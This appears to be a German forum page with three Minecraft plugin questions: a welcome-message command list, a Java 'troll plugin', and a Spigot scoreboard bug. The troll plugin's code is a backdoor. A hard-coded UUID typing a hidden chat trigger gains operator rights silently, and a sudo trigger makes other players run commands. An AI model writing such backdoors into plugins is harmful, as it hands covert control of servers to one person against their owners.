Minecraft Server willkommensnachricht?

Hallo, ich habe mal eine Frage. Ich habe ein plugin für meinen Minecraft Paper 1.19.3 server gefunden, dass angeblich eine Willkommensnachricht (wenn man auf den Server Joint) anzeigt. Es gibt eine Commands und permissions liste. Findet jemand den Befehl in der liste, womit ich eine Willkommensnachricht anzeigen lassen kann? Vielen Dank!

Commands und Permissions

• Alle Commands - system.*

• /system - Zeigt die Plugin Infos.

• /system reload - system.reload

• /heal - system.heal | system.heal.*

• /heal <Spieler> - system.heal.other | system.heal.*

• /fly - system.fly | system.fly.*

• /fly <Spieler> - system.fly.other | system.fly.*

• /feed - system.feed | system.feed.*

• /feed <Spieler> - system.feed.other | system.feed.*

• /teamspeak | /ts - keine Permissions

• /discord - keine Permissions

• /forum - keine Permissions

• /gamemode | /gm - system.gamemode

• /kick - system.kick

• /tphere - system.tphere

• /broadcast | /bc - system.broadcast

• /day - system.day

• /night - system.night

• /setspawn - system.setspawn

• /spawn - keine Permissions

• /clearchat | /cc - system.clearchat

• /msg - keine Permissions

• /msgtoggle - system.msgtoggle

• /workbench | /wb - system.workbench

• /home - system.home

• /sethome - system.home

• /kopf <Name> | /skull <Name> - system.kopf

• /money - keine Permissions

• /money <Spieler> - system.money.other

• /money set <Spieler> <Geld> - system.money.set | system.money.*

• /money add <Spieler> <Geld> - system.money.add | system.money.*

• /money remove <Spieler> <Geld> - system.money.remove | system.money.*

• /pay <Spieler> <Geld> - keine Permissions

• /ban <Spieler> <Grund> - system.ban

• /unban <Spieler> - system.unban

• /check <Spieler> - system.check

• /setwarp <Name> - system.setwarp

• /warp <Name> - keine Permissions

• /enderchest | /ec - system.enderchest

• /enderchest <Spieler> | /ec <Spieler> system.enderchest.other

• /world - system.world

PC, Server, Minecraft, Minecraft Server, Plug-in, Spigot, Pluginsuche, befehle minecraft
Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin
Spigot Tablist wird nicht richtig gesetzt?

Ich habe langsam keine Ahnung mehr was ich noch tun soll.

package game.squid.utils;

import org.bukkit.Bukkit;

import org.bukkit.ChatColor;

import org.bukkit.entity.Player;

import org.bukkit.scoreboard.Scoreboard;

import squid.game.games.BlockGame;

public class ScoreboardManager{

public static void registerScoreboard(Player p) {

for(Player all : Bukkit.getOnlinePlayers()) {

Scoreboard board = Bukkit.getScoreboardManager().getNewScoreboard();

all.sendMessage("Debug1");

org.bukkit.scoreboard.Team teamBlue = board.registerNewTeam("TeamBlue");

org.bukkit.scoreboard.Team teamRed = board.registerNewTeam("TeamRed");

org.bukkit.scoreboard.Team teamYellow = board.registerNewTeam("TeamYellow");

org.bukkit.scoreboard.Team teamGreen = board.registerNewTeam("TeamGreen");

all.sendMessage("Debug3");

teamBlue.setPrefix(ChatColor.AQUA.toString() + "§bBLUE ");

teamRed.setPrefix(ChatColor.RED.toString() + "§cRED ");

teamYellow.setPrefix(ChatColor.YELLOW.toString() + "§eYELLOW ");

teamGreen.setPrefix(ChatColor.GREEN.toString() + "§aGREEN ");

all.sendMessage("Debug4");

all.setScoreboard(board);

if(Team.getTeam(p) == BlockGame.blueTeam) {

teamBlue.addEntry(p.getName());

all.sendMessage("Debug5");

continue;

}

if(Team.getTeam(p) == BlockGame.redTeam) {

teamRed.addEntry(p.getName());

all.sendMessage("Debug6");

continue;

if(Team.getTeam(p) == BlockGame.yellowTeam) {

teamYellow.addEntry(p.getName());

all.sendMessage("Debug7");

continue;

}

if(Team.getTeam(p) == BlockGame.greenTeam) {

teamGreen.addEntry(p.getName());

all.sendMessage("Debug8");

continue;

}

}

}

}

Bild zum Beitrag
programmieren, Java, Minecraft, Minecraft Server, Plug-in, Spigot

Meistgelesene Beiträge zum Thema Spigot